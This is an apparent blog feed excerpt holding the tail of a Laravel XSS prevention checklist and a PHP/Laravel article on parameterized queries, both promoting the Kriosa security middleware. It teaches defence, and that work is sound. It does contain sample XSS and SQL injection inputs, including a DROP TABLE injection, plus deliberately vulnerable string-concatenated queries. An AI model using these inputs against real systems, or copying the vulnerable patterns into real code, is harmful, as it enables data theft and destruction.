&lt;p&gt;&lt;strong&gt;The XSS Prevention Checklist for Laravel&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Always use {{ }} for user-generated content never {!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only use {!! !!} for HTML you generated from trusted, controlled sources&lt;br&gt;
If you must display user HTML run it through an HTML sanitizer first&lt;br&gt;
For JavaScript contexts&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use Js::from() not {{ }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Validate and sanitize on input as an additional layer not as the primary defense&lt;br&gt;
Validate URL schemes when outputting user-controlled URLs&lt;br&gt;
Set a Content Security Policy header as a defense-in-depth measure&lt;br&gt;
Never treat the database as a sanitization layer&lt;br&gt;
Test your forms by&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;submitting &amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and checking what the page renders.&lt;br&gt;
Where Detection Still Has a Role&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Blade’s {{ }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;encoding prevents XSS at the output layer. But it does not protect against:&lt;/p&gt;

&lt;p&gt;Legacy templates in inherited codebases still using&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{!! !!} incorrectly
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;DOM-based XSS that never reaches your server&lt;br&gt;
Third-party packages that render output unsafely&lt;br&gt;
Developers on your team who&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use {!! !!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;without understanding the implications&lt;br&gt;
A security layer that monitors incoming requests and flags payloads containing script injection attempts gives you visibility into XSS attacks before they reach your templates. Not as the primary defense as the safety net that catches what your templates might miss.&lt;/p&gt;

&lt;p&gt;Prevention first. Detection as the safety net. The same principle from every article in this series.&lt;/p&gt;

&lt;p&gt;The Series So Far&lt;/p&gt;

&lt;p&gt;&lt;a href="https://medium.com/system-weakness/what-your-php-logs-actually-look-like-during-an-sql-injection-attack-571aa807f5fe" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;br&gt;
&lt;a href="https://medium.com/system-weakness/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;br&gt;
&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem why unlimited URL decoding can be its own vulnerability&lt;br&gt;
&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries the only real fix for SQL injection&lt;br&gt;
Article 5: This article XSS prevention in Laravel and why {!! !!} is the line between safe and hacked.&lt;br&gt;
The Direction Behind Kriosa&lt;/p&gt;

&lt;p&gt;Kriosa’s hybrid system includes XSS detection flagging requests that contain script injection attempts, event handler injections, and JavaScript protocol abuse before they reach your Laravel application.&lt;/p&gt;

&lt;p&gt;But as with every article in this series detection at the middleware layer does not replace prevention at the application layer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{ }} in Blade is the prevention.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kriosa is the safety net.&lt;/p&gt;

&lt;p&gt;The strongest defense is both layers working together.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;a href="https://kriosa.com" rel="noopener noreferrer"&gt;kriosa.com&lt;/a&gt;&lt;br&gt;
Install it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;composer require kriosa-ai/kriosa-php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.&lt;/p&gt;

&lt;p&gt;Sleep better we’re awake — kriosa&lt;/p&gt;

</description>
      <category>php</category>
      <category>webdev</category>
      <category>laravel</category>
      <category>security</category>
    </item>
    <item>
      <title>Parameterized Queries - The Only Real Fix for SQL Injection and What Developers Get Wrong About Them</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 14 Jul 2026 03:53:36 +0000</pubDate>
      <link>https://dev.to/kriosa/parameterized-queries-the-only-real-fix-for-sql-injection-and-what-developers-get-wrong-about-them-21h3</link>
      <guid>https://dev.to/kriosa/parameterized-queries-the-only-real-fix-for-sql-injection-and-what-developers-get-wrong-about-them-21h3</guid>
      <description>&lt;p&gt;Originally publish on medium&lt;br&gt;
Detection tells you something happened. Prevention stops it from mattering. Here is the prevention layer.&lt;br&gt;
In the last three articles I wrote about detecting SQL injection attempts in PHP logs, why URL encoding blinds most pattern matching checks, and why unlimited URL decoding creates its own vulnerability. Every article ended with the same honest disclaimer.&lt;br&gt;
"The real fix lives at the query layer, not the detection layer."&lt;br&gt;
This is that article.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Detection Is Not Enough&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Everything I have written so far the log analysis, the urldecode() fix, the capped decode loop is detection. It tells you a suspicious request arrived. It logs it. It flags it. In some cases it blocks it.&lt;br&gt;
But detection has a ceiling.&lt;br&gt;
A sufficiently sophisticated attacker who understands your detection layer can craft payloads that slip through. New encoding techniques. Fragmented payloads. Timing-based injection that never appears in a single suspicious request. Detection is valuable precisely because prevention is never perfect. But prevention should always come first.&lt;br&gt;
For SQL injection, prevention has one name parameterized queries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What SQL Injection Actually Is&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before explaining the fix, it helps to understand exactly what the attack exploits. SQL injection works because of one fundamental mistake treating user input as part of a SQL command.&lt;br&gt;
Here is the vulnerable pattern.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT * FROM users WHERE id = "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a legitimate user sends id=1, the query becomes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Clean. Expected. Safe.&lt;br&gt;
When an attacker sends id=1 OR 1=1, the query becomes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which returns every row in the users table. Every single one.&lt;br&gt;
The database cannot tell the difference between the developer's intended SQL and the attacker's injected SQL because they arrived as the same string. The input and the command are mixed together. That is the vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Parameterized Queries Actually Do&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Parameterized queries also called prepared statements solve this by separating the SQL command from the user input completely.&lt;br&gt;
Here is the same query written correctly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM users WHERE id = ?"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;]]);&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetchAll&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What happens here is fundamentally different from string concatenation.&lt;br&gt;
The SQL command SELECT * FROM users WHERE id =&amp;nbsp;? is sent to the database first, as a complete instruction with a placeholder. The database parses it, understands its structure, and prepares to execute it.&lt;br&gt;
Then the user input whatever $_GET['id'] contains is sent separately as data. The database treats it as a value to fill the placeholder, not as part of the SQL command itself.&lt;/p&gt;

&lt;p&gt;So when an attacker sends 1 OR 1=1, the database receives it as a literal string value to compare against the id column not as SQL to execute. The injection attempt becomes meaningless. The query looks for a row where id equals the literal string "1 OR 1=1" finds nothing and returns an empty result. No data leaks. No error. No attack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Developers Get Wrong&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Parameterized queries sound simple. In practice, developers make four common mistakes that leave them thinking they are protected when they are not.&lt;br&gt;
&lt;strong&gt;Mistake 1&lt;/strong&gt; - Mixing parameterized queries with string concatenation&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This is NOT safe&lt;/span&gt;
&lt;span class="nv"&gt;$table&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'table'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$table&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;" WHERE id = ?"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;]]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The id parameter is protected. The table name is not. An attacker sends table=users; DROP TABLE users-- and the table name gets concatenated directly into the SQL command.&lt;br&gt;
Parameterized queries protect values. They do not protect identifiers like table names and column names. Those must be validated against a whitelist separately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 2&lt;/strong&gt; - Using emulated prepares without knowing it&lt;br&gt;
PDO has two modes: real prepared statements and emulated prepared statements. Emulated prepares are the default in some configurations.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Disable emulated prepares&lt;/span&gt;
&lt;span class="nv"&gt;$pdo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;PDO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$dsn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ATTR_EMULATE_PREPARES&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Native prepared statements are generally preferred because the database receives the SQL statement and parameters separately. Emulated prepares still protect against SQL injection in normal use, but native prepares avoid certain edge cases and more closely match the database's own parsing behavior.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 3&lt;/strong&gt; - Assuming Laravel's ORM makes every query safe&lt;br&gt;
Laravel's Eloquent ORM uses parameterized queries by default. But raw query methods bypass this protection.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Safe - Eloquent uses parameterized queries&lt;/span&gt;
&lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;first&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// NOT safe - raw query with string concatenation&lt;/span&gt;
&lt;span class="no"&gt;DB&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM users WHERE id = "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Safe - raw query with parameter binding&lt;/span&gt;
&lt;span class="no"&gt;DB&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM users WHERE id = ?"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using an ORM does not automatically make every database query safe. Raw query methods require the same discipline as plain PDO.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 4&lt;/strong&gt; - Thinking input validation replaces parameterized queries&lt;br&gt;
Some developers validate input checking that an id is numeric, for example and believe this makes string concatenation safe.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This is still dangerous&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;is_numeric&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT * FROM users WHERE id = "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Input validation reduces the attack surface. It does not eliminate it. Edge cases in validation logic, type juggling in PHP, and unexpected input formats can all bypass validation in ways that would not bypass a parameterized query.&lt;/p&gt;

&lt;p&gt;Parameterized queries and input validation are complementary. Validation rejects obviously bad input early. Parameterized queries make SQL injection through parameter values structurally impossible when used correctly. Use both.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Complete Safe Pattern&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here is what correct SQL query handling looks like in PHP using PDO&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Establish connection with emulated prepares disabled&lt;/span&gt;
&lt;span class="nv"&gt;$pdo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;PDO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'mysql:host=localhost;dbname=myapp;charset=utf8mb4'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="no"&gt;PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ATTR_EMULATE_PREPARES&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="no"&gt;PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ATTR_ERRMODE&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ERRMODE_EXCEPTION&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="no"&gt;PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ATTR_DEFAULT_FETCH_MODE&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;FETCH_ASSOC&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Validate input type where appropriate&lt;/span&gt;
&lt;span class="nv"&gt;$id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;filter_input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;INPUT_GET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;FILTER_VALIDATE_INT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Use parameterized query&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT id, username, email FROM users WHERE id = ?"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And in Laravel using Eloquent&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Safe - always use Eloquent methods or parameter binding&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Or with query builder binding&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;DB&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;table&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'users'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'='&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;first&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Never do this&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;DB&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM users WHERE id = "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Where Detection Still Matters&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Parameterized queries make SQL injection through parameter values structurally impossible when used correctly. But they do not protect against.&lt;/p&gt;

&lt;p&gt;Queries written incorrectly by a developer who forgot to use them&lt;br&gt;
Legacy code in a codebase you inherited&lt;br&gt;
Third-party packages with their own database queries&lt;br&gt;
Second-order injection where stored data is later used unsafely&lt;/p&gt;

&lt;p&gt;This is why detection still has a role. Not as the primary defense as the safety net that catches what prevention misses.&lt;br&gt;
A security layer that monitors incoming requests, flags suspicious patterns, and alerts you when injection attempts are arriving gives you visibility into attacks that might find a gap in your prevention layer. You fix the gap. The detection layer told you where to look.&lt;br&gt;
Prevention first. Detection as the safety net. That combination is what genuine defense looks like.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Series So Far&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the fourth article in a series on PHP application security:&lt;br&gt;
&lt;strong&gt;Article 1:&lt;/strong&gt; What your PHP logs actually look like during a SQL injection attack&lt;br&gt;
&lt;strong&gt;Article 2:&lt;/strong&gt; Why URL encoding can break PHP security checks&lt;br&gt;
&lt;strong&gt;Article 3:&lt;/strong&gt; The decode bomb problem why unlimited URL decoding can be its own vulnerability&lt;br&gt;
&lt;strong&gt;Article 4:&lt;/strong&gt; This article parameterized queries and what developers get wrong about them&lt;/p&gt;

&lt;p&gt;Each one builds on the last. Detection, normalization, resource safety, prevention. The full picture of what it takes to defend a PHP application in production.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Direction Behind Kriosa&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;One of the design principles behind Kriosa is that detection and prevention work together not as alternatives but as layers. The middleware layer monitors and flags. Your application layer prevents with parameterized queries and input validation. The XAI dashboard explains what the detection layer found so you can close gaps in the prevention layer faster.&lt;/p&gt;

&lt;p&gt;Neither layer replaces the other. Together they cover what either would miss alone.&lt;/p&gt;

